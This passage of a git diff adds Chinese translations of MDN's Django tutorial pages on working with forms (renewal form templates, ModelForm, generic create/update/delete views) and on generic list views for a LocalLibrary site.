+<p>创建视图中引用的模板(<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>),并将下面的代码,复制到其中:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} +{% block content %} + + <h1>Renew: \{{bookinst.book.title}}</h1> + <p>Borrower: \{{bookinst.borrower}}</p> + <p{% if bookinst.is_overdue %} class="text-danger"{% endif %}>Due date: \{{bookinst.due_back}}</p> + +<strong> <form action="" method="post"> + {% csrf_token %} + <table> + \{{ form }} + </table> + <input type="submit" value="Submit" /> + </form></strong> + +{% endblock %}</pre> + +<p>这里大部分内容,和以前的教程都是完全类似的。我们扩展基本模板,然后重新定义内容块。我们能够引用 <code>\{{bookinst}}</code>(及其变量),因为它被传递到 <code>render()</code>函数中的上下文对象中,我们使用这些来列出书名,借阅者和原始截止日期。</p> + +<p>表单代码相对简单。首先,我们声明表单标签,指定表单的提交位置(<code>action</code>)和提交数据的方法(在本例中为 “HTTP POST”) - 如果您回想一下页面顶部的 HTML 表单概述,如图所示的空<code>action</code> ,意味着表单数据将被发布回页面的当前 URL(这是我们想要的!)。在标签内部,我们定义了<code>submit</code> 提交输入,用户可以按这个输入来提交数据。在表单标签内添加的<code>{% csrf_token %}</code> ,是 Django 跨站点伪造保护的一部分。</p> + +<div class="note"> +<p><strong>注意:</strong> 将<code>{% csrf_token %}</code> 添加到您创建的每个使用 <code>POST</code> 提交数据的 Django 模板中。这将减少恶意用户劫持表单的可能性。</p> +</div> + +<p>剩下的就是 <code>\{{form}}</code>模板变量,我们将其传递给上下文字典中的模板。也许不出所料,当如图所示使用时,它提供了所有表单字段的默认呈现,包括它们的标签、小部件、和帮助文本 - 呈现如下所示:</p> + +<pre class="brush: html"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> + <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr> +</pre> + +<div class="note"> +<p><strong>注意:</strong> 它可能并不明显,因为我们只有一个字段,但默认情况下,每个字段都在其自己的表格行中定义(这就是变量在上面的<code>table </code>表格标记内部的原因)。如果您引用模板变量<code>\{{ form.as_table }}</code>,会提供相同的渲染。</p> +</div> + +<p>如果您输入无效日期,您还会获得页面中呈现的错误列表(下面以<strong>粗体</strong>显示)。</p> + +<pre class="brush: html"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> +<strong> <ul class="errorlist"> + <li>Invalid date - renewal in past</li> + </ul></strong> + <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr></pre> + +<h4 id="使用表单模板变量的其他方法">使用表单模板变量的其他方法</h4> + +<p>如上所示使用<code>\{{form}}</code>,每个字段都呈现为表格行。您还可以将每个字段呈现为列表项(使用<code>\{{form.as_ul}}</code> )或作为段落(使用<code>\{{form.as_p}}</code>)。</p> + +<p>更酷的是,您可以通过使用点表示法,索引其属性,来完全控制表单每个部分的呈现。例如,我们可以为<code>renewal_date</code> 字段访问许多单独的项目:</p> + +<ul> + <li><code>\{{form.renewal_date}}:</code> 整个领域。</li> + <li><code>\{{form.renewal_date.errors}}</code>: 错误列表。</li> + <li><code>\{{form.renewal_date.id_for_label}}</code>: 标签的 id 。</li> + <li><code>\{{form.renewal_date.help_text}}</code>: 字段帮助文本。</li> + <li> 其他等等!</li> +</ul> + +<p>有关如何在模板中,手动呈现表单,并动态循环模板字段的更多示例,请参阅<a href="https://docs.djangoproject.com/zh-hans/2.0/topics/forms/#rendering-fields-manually">使用表单>手动呈现字段</a>(Django文档)。</p> + +<h3 id="测试页面">测试页面</h3> + +<p>如果您接受了<a href="https://developer.mozilla.org/zh-CN/docs/learn/Server-side/Django/Authentication#Challenge_yourself">Django 教程第 8 部分中的 “挑战”:用户身份验证和权限</a>,您将获得图书馆中借出的所有书本的列表,这只有图书馆工作人员才能看到。我们可以使用下面的模板代码,为每个项目旁边的续借页面,添加链接。</p> + +<pre class="brush: html">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> + +<div class="note"> +<p><strong>注意</strong>: 请记住,您的测试登录需要具有“<code>catalog.can_mark_returned</code>”权限,才能访问续借书本页面(可能使用您的超级用户帐户)。</p> +</div> + +<p>您也可以手动构建这样的测试URL - <a href="http://127.0.0.1:8000/catalog/book/<bookinstance id>/renew/">http://127.0.0.1:8000/catalog/book/<em><bookinstance_id></em>/renew/</a> (可以通过导航到图书馆中的书本详细信息页面,获取有效的 bookinstance id,并复制<code>id</code> 字段)。</p> + +<h3 id="它看起来是什么样子?">它看起来是什么样子?</h3> + +<p>如果您成功,默认表单将如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p> + +<p>输入无效值的表单将如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p> + +<p>所有包含续借链接的图书清单如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p> + +<h2 id="模型表单">模型表单</h2> + +<p>使用上述方法创建<code>Form</code> 类非常灵活,允许您创建任何类型的表单页面,并将其与任何单一模型、或多个模型相关联。</p> + +<p>但是,如果您只需要一个表单,来映射单个模型的字段,那么您的模型,将已经定义了表单中所需的大部分信息:字段、标签、帮助文本等。而不是在表单中重新创建模型定义,使用 <a href="https://docs.djangoproject.com/en/2.0/topics/forms/modelforms/">ModelForm </a>帮助程序类从模型创建表单更容易。然后,可以在视图中使用此<code>ModelForm</code> ,其方式与普通<code>Form</code>完全相同。</p> + +<p>包含与原始<code>RenewBookForm</code> 相同的字段的基本 <code>ModelForm</code> 如下所示。创建表单所需要做的,就是添加带有相关模型(<code>BookInstance</code>)的<code>class Meta</code>、和要包含在表单中的模型字段列表(您可以使用 <code>fields = '__all__'</code>,以包含所有字段,或者您可以使用 <code>exclude</code> (而不是字段),指定不包含在模型中的字段)。</p> + +<pre class="brush: python">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> class Meta: + model = BookInstance + fields = ['due_back',]</strong> +</pre> + +<div class="note"> +<p><strong>注意</strong>: 这可能看起来不像使用<code>Form</code> 那么简单(在这种情况下不是这样,因为我们只有一个字段)。但是,如果你有很多字段,它可以显着减少代码量!</p> +</div> + +<p>其余信息来自模型字段的定义(例如标签、小部件、帮助文本、错误消息)。如果这些不太正确,那么我们可以在<code> Meta</code>类中覆盖它们,指定包含要更改的字段、及其新值的字典。例如,在这种形式中,我们可能需要 “更新日期” <em>Renewal date </em>字段的标签(而不是基于字段名称的默认值:截止日期 <em>Due date</em>),并且我们还希望我们的帮助文本,特定于此用例。下面的<code>Meta</code> 显示了如何覆盖这些字段,如果默认值不够,您可以类似地方式设置<code>widgets</code> 窗口小部件和<code>error_messages</code> 。</p> + +<pre class="brush: python">class Meta: + model = BookInstance + fields = ['due_back',] +<strong> labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong> +</pre> + +<p>要添加验证,您可以使用与普通表单相同的方法 - 定义名为 <code>clean_<em>field_name</em>()</code>的函数,并为无效值引发<code>ValidationError</code> 异常。与我们原始形式的唯一区别,是模型字段名为<code>due_back</code> 而不是“<code>renewal_date</code>”。</p> + +<pre class="brush: python">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> def clean_due_back(self): + data = self.cleaned_data['due_back'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Check date is in range librarian allowed to change (+4 weeks) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data +</strong> + class Meta: + model = BookInstance + fields = ['due_back',] + labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } +</pre> + +<p>下面的 <code>RenewBookModelForm</code> 类现在在功能上等同于我们原来的 <code>RenewBookForm</code>。您可以在当前使用<code>RenewBookForm </code>的任何地方导入和使用它。</p> + +<h2 id="通用编辑视图">通用编辑视图</h2> + +<p>我们在上面的函数视图示例中,使用的表单处理算法,表示表单编辑视图中非常常见的模式。 Django 通过创建基于模型创建、编辑和删除视图的<a href="https://docs.djangoproject.com/zh-hans/2.0/ref/class-based-views/generic-editing/">通用编辑视图</a>,为您抽象出大部分“样板”。这些不仅处理“视图”行为,而且它们会自动从模型中为您创建表单类(<code>ModelForm</code>)。</p> + +<div class="note"> +<p><strong>注意: </strong>除了这里描述的编辑视图之外,还有一个 <a href="https://docs.djangoproject.com/zh-hans/2.0/ref/class-based-views/generic-editing/#formview">FormView </a>类,它位于我们的函数视图,和其他通用视图之间的 “灵活性” 与 “编码工作” 之间。使用 <code>FormView</code> ,您仍然需要创建表单,但不必实现所有标准表单处理模式。相反,您只需提供一个函数的实现,一旦知道提交有效,就会调用该函数。</p> +</div> + +<p>在本节中,我们将使用通用编辑视图,来创建页面,以添加从我们的库中创建、编辑和删除<code>Author</code> 作者记录的功能 - 有效地提供管理站点一部分的基本重新实现(这可能很有用,如果您需要比管理站点能提供的、更加灵活的管理功能)。</p> + +<h3 id="视图_2">视图</h3> + +<p>打开视图文件(<strong>locallibrary/catalog/views.py</strong>),并将以下代码块,附加到其底部:</p> + +<pre class="brush: python">from django.views.generic.edit import CreateView, UpdateView, DeleteView +from django.urls import reverse_lazy +from .models import Author + +class AuthorCreate(CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'05/01/2018',} + +class AuthorUpdate(UpdateView): + model = Author + fields = ['first_name','last_name','date_of_birth','date_of_death'] + +class AuthorDelete(DeleteView): + model = Author + success_url = reverse_lazy('authors')</pre> + +<p>如您所见,要创建视图,您需要从<code>CreateView</code>, <code>UpdateView</code>, 和 <code>DeleteView</code>(分别)派生,然后定义关联的模型。</p> + +<p>对于 “创建” 和 “更新” 的情况,您还需要指定要在表单中显示的字段(使用与<code>ModelForm</code>相同的语法)。在这种情况下,我们将说明两者的语法,如何显示 “所有” 字段,以及如何单独列出它们。您还可以使用 field_name / value对的字典,为每个字段指定初始值(此处我们为了演示目的,而任意设置死亡日期 - 您可能希望删除它!)。默认情况下,这些视图会在成功时,重定向到显示新创建/编辑的模型项的页面,在我们的示例中,这将是我们在上一个教程中,创建的作者详细信息视图。您可以通过显式声明参数<code>success_url</code> ,指定备用重定向位置(与<code>AuthorDelete</code> 类一样)。</p> + +<p><code>AuthorDelete</code> 类不需要显示任何字段,因此不需要指定这些字段。但是你需要指定<code>success_url</code>,因为 Django 没有明显的默认值。在这种情况下,我们使用<code><a href="https://docs.djangoproject.com/en/2.0/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code>函数,在删除作者后,重定向到我们的作者列表 - <code>reverse_lazy()</code>是一个延迟执行的<code>reverse()</code>版本,在这里使用,是因为我们提供了一个基于类的 URL 查看属性。</p> + +<h3 id="模板_2">模板</h3> + +<p>“创建” 和 “更新” 视图默认使用相同的模板,它将以您的模型命名:<em>model_name</em><strong>_form.html</strong>(您可以使用视图中的<code>template_name_suffix</code> 字段,将后缀更改为<strong>_form</strong> 以外的其他内容,例如,<code>template_name_suffix = '_other_suffix'</code>)</p> + +<p>创建模板文件 <strong>locallibrary/catalog/templates/catalog/author_form.html</strong>,并复制到下面的文本中。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + +<form action="" method="post"> + {% csrf_token %} + <table> + \{{ form.as_table }} + </table> + <input type="submit" value="Submit" /> + +</form> +{% endblock %}</pre> + +<p>这与我们之前的表单类似,并使用表单呈现字段。另请注意我们如何声明<code>{% csrf_token %}</code>,以确保我们的表单能够抵抗 CSRF 攻击。</p> + +<p>“删除”视图需要查找以 <em>model_name</em><strong>_confirm_delete.html</strong> 格式命名的模板(同样,您可以在视图中,使用<code>template_name_suffix</code> 更改后缀)。创建模板文件 <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong> ,并复制到下面的文本中。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + +<h1>Delete Author</h1> + +<p>Are you sure you want to delete the author: \{{ author }}?</p> + +<form action="" method="POST"> + {% csrf_token %} + <input type="submit" action="" value="Yes, delete." /> +</form> + +{% endblock %} +</pre> + +<h3 id="URL配置">URL配置</h3> + +<p>打开 URL 配置文件(<strong>locallibrary/catalog/urls.py</strong>),并将以下配置,添加到文件的底部:</p> + +<pre class="brush: python">urlpatterns += [ + path('author/create/', views.AuthorCreate.as_view(), name='author_create'), + path('author/<int:pk>/update/', views.AuthorUpdate.as_view(), name='author_update'), + path('author/<int:pk>/delete/', views.AuthorDelete.as_view(), name='author_delete'), +]</pre> + +<p>这里没有什么特别的新东西!您可以看到视图是类,因此必须通过<code>.as_view()</code>调用,并且您应该能够识别每种情况下的 URL 模式。我们必须使用 <code>pk</code> 作为捕获的主键值的名称,因为这是视图类所期望的参数名称。</p> + +<p>作者的创建,更新和删除页面,现在已准备好进行测试(在这种情况下,我们不会将它们连接到站点侧栏,尽管如果您愿意,也可以这样做)。</p> + +<div class="note"> +<p><strong>注意</strong>: 敏锐的用户会注意到,我们没有采取任何措施,来防止未经授权的用户访问这些页面!我们将其作为练习留给您(提示:您可以使用<code>PermissionRequiredMixin</code> ,并创建新权限,或重用我们的<code>can_mark_returned</code>权限)。</p> +</div> + +<h3 id="测试页面_2">测试页面</h3> + +<p>首先,使用具有访问作者编辑页面权限的帐户(由您决定),登录该站点。</p> + +<p>然后导航到作者创建页面: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>,它应该如下面的截图。</p> + +<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p> + +<p>输入字段的值,然后按“提交” <strong>Submit</strong> ,保存作者记录。现在,您应该进入新作者的详细视图,其 URL 为 http://127.0.0.1:8000/catalog/author/10。</p> + +<p>您可以通过将 /update/ ,附加到详细视图 URL 的末尾,来测试编辑记录(例如http://127.0.0.1:8000/catalog/author/10/update/) - 我们不显示截图,因为它看起来就像“创建”页面!</p> + +<p>最后,我们可以删除页面,方法是将删除,附加到作者详细信息视图URL的末尾(例如http://127.0.0.1:8000/catalog/author/10/delete/)。 Django应该显示如下所示的删除页面。按 "是,删除" <strong>(Yes, delete)</strong>。删除记录,并将其带到所有作者的列表中。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p> + +<p> </p> + +<h2 id="挑战自己">挑战自己</h2> + +<p>创建一些表单,来创建、编辑和删除书本记录<code>Book</code>。您可以使用与作者<code>Authors</code>完全相同的结构。如果您的 <strong>book_form.html</strong> 模板只是<strong> author_form.html</strong> 模板的复制重命名版本,则新的“创建图书”页面,将如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>创建和处理表单可能是一个复杂的过程! Django通过提供声明、呈现和验证表单的编程机制,使其变得更加容易。此外,Django提供了通用的表单编辑视图,几乎可以完成所有工作,以定义可以创建,编辑和删除与单个模型实例关联的记录的页面。</p> + +<p>表单可以完成更多工作(请参阅下面的“请参阅”列表),但您现在应该了解,如何将基本表单和表单处理代码,添加到您自己的网站。</p> + +<h2 id="也可以参考">也可以参考</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/forms/">Working with forms</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 > Writing a simple form</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/api/">The Forms API</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/">Form fields</a> (Django docs) </li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/validation/">Form and field validation</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本系列教程">本系列教程</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/generic_views/index.html b/files/zh-cn/learn/server-side/django/generic_views/index.html new file mode 100644 index 0000000000..c8eeefc366 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/generic_views/index.html @@ -0,0 +1,630 @@ +--- +title: 'Django 教程 6: 通用列表和详细信息视图' +slug: learn/Server-side/Django/Generic_views +translation_of: Learn/Server-side/Django/Generic_views +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div> + +<p class="summary">本教程扩充了 <a href="/zh-CN/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 网站,为书本与作者增加列表与细节页面。此处我们将学到通用类别视图,并演示如何降低你必须为一般使用案例撰写的程式码数量。我们也会更加深入URL处理细节,演示如何实施基本模式匹配。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>完成所有先前的教程主题,包含<a href="/zh-CN/docs/Learn/Server-side/Django/Home_page">Django 教程 5: 创建主页。</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解如何使用、在何处使用通用类别视图,以及如何从URLs取出模式,如何传送资料到视图。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>本教程中,通过为书本和作者添加列表和详细信息页面,我们将完成第一个版本的<a href="/zh-CN/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 网站(或者更准确地说,我们将向您展示如何实现书页,并让您自己创建作者页面!)</p> + +<p>该过程类似于创建索引页面,我们在上一个教程中展示了该页面。我们仍然需要创建URL地图,视图和模板。主要区别在于,对于详细信息页面,我们还有一个额外的挑战,即从URL中的模式中提取信息,并将其传递给视图。对于这些页面,我们将演示一种完全不同的视图类型:基于类别的通用列表和详细视图。这些可以显着减少所需的视图代码量,使其更易于编写和维护。</p> + +<p>本教程的最后一部分,将演示在使用基于类别的通用列表视图时,如何对数据进行分页。</p> + +<h2 id="书本清单页面">书本清单页面</h2> + +<p>书本清单页面,将显示页面中所有可用图书记录的列表,使用url: <code>catalog/books/</code>进行访问。该页面将显示每条记录的标题和作者,标题是指向相关图书详细信息页面的超链接。该页面将具有与站点中,所有其他页面相同的结构和导航,因此,我们可以扩展在上一个教程中创建的基本模板(<strong>base_generic.html</strong>)。</p> + +<h3 id="URL_映射">URL 映射</h3> + +<p>打开<strong>/catalog/urls.py</strong> ,并复制到下面粗体显示的行中。就像索引页面的方式,这个<code>path()</code>函数,定义了一个与 URL 匹配的模式('<strong>books/</strong>'),如果URL匹配,将调用视图函数(<code>views.BookListView.as_view()</code>)和一个对应这个特定映射的名称。</p> + +<pre class="brush: python">urlpatterns = [ + path('', views.index, name='index'), +<strong> </strong>path<strong>('books/', views.BookListView.as_view(), name='books'),</strong> +]</pre> + +<p>正如前一个教程中所讨论的,URL 必须已经先匹配了<code>/catalog</code>,因此实际上将为 URL 调用的视图是:<code>/catalog/books/</code>。</p> + +<p>视图函数具有与以前不同的格式 - 这是因为该视图,实际上将以类别来实现。我们将继承现有的泛型视图函数,该函数已经完成了我们希望此视图函数执行的大部分工作,而不是从头开始编写自己的函数。对于基于Django类的视图,我们通过调用类方法<code>as_view()</code>,来访问适当的视图函数。这样做可以创建类的实例,并确保为传入的 HTTP 请求调用正确的处理程序方法。</p> + +<h3 id="视图_(基于类别)">视图 (基于类别)</h3> + +<p>我们可以很容易地,将书本列表视图编写为常规函数(就像我们之前的索引视图一样),它将查询数据库中的所有书本,然后调用<code>render()</code>,将列表传递给指定的模板。然而,我们用另一种方法取代,我们将使用基于类的通用列表视图(<code>ListView</code>) - 一个继承自现有视图的类。因为通用视图,已经实现了我们需要的大部分功能,并且遵循 Django 最佳实践,我们将能够创建更强大的列表视图,代码更少,重复次数更少,最终维护更少。</p> + +<p>打开<strong> catalog/views.py</strong>,并将以下代码复制到文件的底部:</p> + +<pre class="brush: python">from django.views import generic + +class BookListView(generic.ListView): + model = Book</pre> + +<p>就是这样!通用视图将查询数据库,以获取指定模型(<code>Book</code>)的所有记录,然后呈现位于<strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> 的模板(我们将在下面创建)。在模板中,您可以使用名为<code>object_list</code> 或 <code>book_list</code>的模板变量(即通常为“<code><em>the_model_name</em>_list</code>”),以访问书本列表。</p> + +<div class="note"> +<p><strong>注意</strong>: 模板位置的这个尴尬路径不是印刷错误 - 通用视图在应用程序的<code>/<em>application_name</em>/templates/</code>目录中<code>(/catalog/templates/</code>),查找模板<code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code>(在本例中为<code>catalog/book_list.html</code>)。</p> +</div> + +<p>您可以添加属性,以更改上面的默认行为。例如,如果需要使用同一模型的多个视图,则可以指定另一个模板文件,或者如果<code>book_list</code>对于特定模板用例不直观,则可能需要使用不同的模板变量名称。可能最有用的变更,是更改/过滤返回的结果子集 - 因此,您可能会列出其他用户阅读的前5本书,而不是列出所有书本。</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + context_object_name = 'my_book_list' # your own name for the list as a template variable + queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war + template_name = 'books/my_arbitrary_template_name_list.html' # Specify your own template name/location</pre> + +<h4 id="覆盖基于类别的视图中的方法">覆盖基于类别的视图中的方法</h4> + +<p>虽然我们不需要在这里执行此操作,但您也可以覆盖某些类别方法。</p> + +<p>例如,我们可以覆盖<code>get_queryset()</code>方法,来更改返回的记录列表。这比仅仅设置<code>queryset</code>属性更灵活,就像我们在前面的代码片段中所做的那样(尽管在这种情况下没有真正的好处):</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_queryset(self): + return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war +</pre> + +<p>我们还可以覆盖<code>get_context_data()</code> ,以将其他上下文变量传递给模板(例如,默认情况下传递书本列表)。下面的片段,显示了如何将一个名为“<code>some_data</code>”的变量添加到上下文中(然后它将作为一个模板变量,而被提供)。</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_context_data(self, **kwargs): + # Call the base implementation first to get the context + context = super(BookListView, self).get_context_data(**kwargs) + # Create any data and add it to the context + context['some_data'] = 'This is just some data' + return context</pre> + +<p>这样做时,遵循上面使用的模式非常重要:</p> + +<ul> + <li>首先从我们的超类别中,获取现有的上下文。</li> + <li>然后添加新的上下文信息。</li> + <li>然后返回新的(更新的)上下文。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 查看<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-display/">内置的基于类的通用视图</a>(Django文档),了解更多可以执行的操作示例。</p> +</div> + +<h3 id="创建列表视图模板">创建列表视图模板</h3> + +<p>创建 HTML 文件 <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong>,并复制到下面的文本中。如上所述,这是基于类的通用列表视图,所期望的默认模板文件(对于名为<code>catalog</code>的应用程序中,名为<code>Book</code>的模型)。</p> + +<p>通用视图的模板就像任何其他模板一样(当然,传递给模板的上下文/信息可能不同)。与我们的索引模板一样,我们在第一行扩展基本模板,然后替换名为<code>content</code>的区块。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Book List</h1> + + <strong>{% if book_list %}</strong> + <ul> + + {% for book in book_list %} + <li> + <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) + </li> + {% endfor %} + + </ul> + <strong>{% else %}</strong> + <p>There are no books in the library.</p> + <strong>{% endif %} </strong> +{% endblock %}</pre> + +<p>视图默认将上下文(书本列表)作为 <code>object_list </code>和 <code>book_list</code> 的别名传递;任何一个都会奏效。</p> + +<h4 id="条件执行">条件执行</h4> + +<p>我们使用 <code><a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#if">if</a></code>, <code>else</code> 和 <code>endif</code>模板标签,来检查 <code>book_list</code>是否已定义且不为空。如果 <code>book_list</code>为空,则 <code>else</code>子句显示文本,说明没有要列出的书本。如果 <code>book_list</code>不为空,那么我们遍历书本列表。</p> + +<pre class="brush: html"><strong>{% if book_list %}</strong> + <!-- code here to list the books --> +<strong>{% else %}</strong> + <p>There are no books in the library.</p> +<strong>{% endif %}</strong> +</pre> + +<p>上述条件仅检查一种情况,但您可以使用 <code>elif </code>模板标记(例如<code>{% elif var2 %}</code> )测试其他条件。有关条件运算符的更多信息,请参阅:<a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>,以及<a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins">内置模板标记和过滤器</a>(Django Docs)中的 <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#ifchanged">ifchanged</a> 。</p> + +<h4 id="For_循环回圈">For 循环/回圈</h4> + +<p>模板使用<a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#for">for</a> 和 <code>endfor</code>模板标签,以循环遍历书本列表,如下所示。每次迭代都会使用当前列表项的信息,填充书本模板变量<code>book</code>。</p> + +<pre class="brush: html">{% for <strong>book</strong> in book_list %} + <li> <!-- code here get information from each <strong>book</strong> item --> </li> +{% endfor %} +</pre> + +<p>虽然这里没有使用,但在循环中,Django 还会创建其他可用于跟踪迭代的变量。例如,您可以测试<code>forloop.last</code> 变量,以运行最后一次循环当中的条件处理代码。</p> + +<h4 id="访问变量">访问变量</h4> + +<p>循环内的代码,为每本书创建一个列表项,显示作者和标题(作为尚未创建的详细视图的链接)。</p> + +<pre class="brush: html"><a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) +</pre> + +<p>我们使用“点符号”(例如 <code>book.title</code> 和 <code>book.author</code>)访问相关书本记录的字段,其中书本项目<code>book</code>后面的文本是字段名称(如同在模型中定义的)。</p> + +<p>我们还可以在模板中,调用模型中的函数 - 在这里,我们调用<code>Book.get_absolute_url()</code>,来获取可用于显示关联详细记录的URL。这项工作提供的函数没有任何参数(没有办法传递参数!)</p> + +<div class="note"> +<p><strong>注意</strong>: 在模板中调用函数时,我们必须要小心“副作用”。在这里我们只需要显示一个URL,但是一个函数几乎可以做任何事情 - 我们不想仅仅通过渲染模板,而删除了我们的数据库(例如)!</p> +</div> + +<h4 id="更新基本模板">更新基本模板</h4> + +<p>打开基本模板(<strong>/locallibrary/catalog/templates/base_generic.html</strong>)并将 <strong>{% url 'books' %} </strong>插入所有书本 <strong>All books </strong>的 URL 链接,如下所示。这将启用所有页面中的链接(由于我们已经创建了 “books” 的 url 映射器,我们可以成功地将其设置到位)。</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +<strong><li><a href="{% url 'books' %}">All books</a></li></strong> +<li><a href="">All authors</a></li></pre> + 